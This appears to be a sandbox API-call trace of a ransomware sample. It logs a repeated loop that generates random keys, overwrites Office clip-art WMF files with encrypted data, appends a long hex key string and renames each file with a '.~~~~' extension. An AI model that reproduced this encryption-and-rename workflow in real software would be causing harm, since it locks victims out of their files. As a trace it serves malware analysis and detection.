	[0123.864] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.864] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24385389036) returned 1
	[0123.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb34caa10, dwHighDateTime=0x1d60e1e)) 
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fe90
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fe90 | out: hHeap=0x300000) returned 1
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd838
	[0123.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.864] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.865] GetLastError () returned 0x0
	[0123.865] GetLastError () returned 0x0
	[0123.865] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.865] GetLastError () returned 0x0
	[0123.865] GetLastError () returned 0x0
	[0123.868] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff036, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.868] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xfca, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0xfca, lpOverlapped=0x0) returned 1
	[0123.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.870] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.870] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.870] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.871] CloseHandle (hObject=0x11c) returned 1
	[0123.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd708
	[0123.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.~~~~")) returned 1
	[0123.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd708 | out: hHeap=0x300000) returned 1
	[0123.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.872] GetLastError () returned 0x0
	[0123.873] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.874] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.874] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.874] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24386420020) returned 1
	[0123.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb34f0b70, dwHighDateTime=0x1d60e1e)) 
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fec8
	[0123.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fec8 | out: hHeap=0x300000) returned 1
	[0123.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd968
	[0123.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.875] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.875] GetLastError () returned 0x0
	[0123.875] GetLastError () returned 0x0
	[0123.875] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.875] GetLastError () returned 0x0
	[0123.875] GetLastError () returned 0x0
	[0123.877] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff84e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.878] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x7b2, lpOverlapped=0x0) returned 1
	[0123.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.879] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.879] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.879] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.879] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.879] CloseHandle (hObject=0x11c) returned 1
	[0123.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd968
	[0123.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.~~~~")) returned 1
	[0123.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd968 | out: hHeap=0x300000) returned 1
	[0123.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.881] GetLastError () returned 0x0
	[0123.881] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.882] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.882] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.882] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24387239169) returned 1
	[0123.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb34f0b70, dwHighDateTime=0x1d60e1e)) 
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ff00
	[0123.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ff00 | out: hHeap=0x300000) returned 1
	[0123.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bda00
	[0123.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.883] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.883] GetLastError () returned 0x0
	[0123.883] GetLastError () returned 0x0
	[0123.883] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.883] GetLastError () returned 0x0
	[0123.883] GetLastError () returned 0x0
	[0123.885] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffedea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.885] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1216, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x1216, lpOverlapped=0x0) returned 1
	[0123.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.886] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.886] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.886] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.886] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.887] CloseHandle (hObject=0x11c) returned 1
	[0123.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd968
	[0123.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.~~~~")) returned 1
	[0123.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd968 | out: hHeap=0x300000) returned 1
	[0123.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.888] GetLastError () returned 0x0
	[0123.889] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.890] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.890] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24388052460) returned 1
	[0123.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3516cd0, dwHighDateTime=0x1d60e1e)) 
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ff38
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ff38 | out: hHeap=0x300000) returned 1
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ef7e8
	[0123.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bda98
	[0123.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ef7e8 | out: hHeap=0x300000) returned 1
	[0123.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.891] GetLastError () returned 0x0
	[0123.891] GetLastError () returned 0x0
	[0123.892] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.892] GetLastError () returned 0x0
	[0123.892] GetLastError () returned 0x0
	[0123.907] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7342, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.907] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x8cbe, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x8cbe, lpOverlapped=0x0) returned 1
	[0123.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.909] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.909] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.909] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.909] CloseHandle (hObject=0x11c) returned 1
	[0123.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd670
	[0123.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.~~~~")) returned 1
	[0123.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd670 | out: hHeap=0x300000) returned 1
	[0123.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.916] GetLastError () returned 0x0
	[0123.916] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.917] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.917] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24390754917) returned 1
	[0123.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb353ce30, dwHighDateTime=0x1d60e1e)) 
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ffa8
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ffa8 | out: hHeap=0x300000) returned 1
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ef890
	[0123.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdb30
	[0123.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ef890 | out: hHeap=0x300000) returned 1
	[0123.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.918] GetLastError () returned 0x0
	[0123.918] GetLastError () returned 0x0
	[0123.919] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.919] GetLastError () returned 0x0
	[0123.919] GetLastError () returned 0x0
	[0123.922] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff713c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.922] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x8ec4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x8ec4, lpOverlapped=0x0) returned 1
	[0123.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.924] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.924] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.924] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.924] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.924] CloseHandle (hObject=0x128) returned 1
	[0123.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdb30
	[0123.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.~~~~")) returned 1
	[0123.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdb30 | out: hHeap=0x300000) returned 1
	[0123.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.926] GetLastError () returned 0x0
